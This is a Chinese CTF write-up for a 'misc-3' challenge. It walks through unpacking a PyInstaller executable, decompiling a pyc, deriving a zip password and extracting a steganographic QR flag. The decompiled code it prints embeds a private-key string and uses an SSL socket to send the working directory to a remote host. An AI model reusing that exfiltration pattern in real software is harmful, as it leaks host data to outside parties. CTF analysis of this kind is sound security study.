misc-3
感谢mochu大佬提供的wp,接下来开始复现。
解压压缩包有三个文件 .DS_Store cat.zip test
.DS_Store文件是用mac系统自动生成的隐藏文件,这个就不要管,
cat.zip需要密码才能解压,test的文件用记事本打开文件头部带有MZ
又是我没见过的东西,查了一下是window的PE文件标志,用来识别是否是PE文件 例如exe、dll、sys…,然后到这我就不会了,接下来是mochu大佬的思路。
确定test是python可执行文件,使用pyinstxtractor进行反编译。
python3 pyinstxtractor.py test
找到1.pyc用010Editor打开。
发现头部被替换修改成正常头部,进行反编译。
反编译网站:https://www.toolnb.com/tools/pyc.html
反编译过程会出现一点问题但是不影响解题,完成之后复制到编辑器删去多余的部分。
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'
ssls.connect((domain, port))
ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > '))
关键部分是向ssl连接发送某些字符。
import os,base64
xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68,
147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'
print((str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > ')))
a = """=4ld+EiemdFQQJWVfBTahUCMrgXJ"""
print(base64.b64decode(a[::-1]))
"""%x+0%!i0_UbP@Wfz!>v^"""
这个就是压缩的密码,解压之后把cat修改为cat.png,用stegsolve在blue plane 0 找到一张二维码,扫码得到flag
flag{Ju57_E4sy_2_93t_17}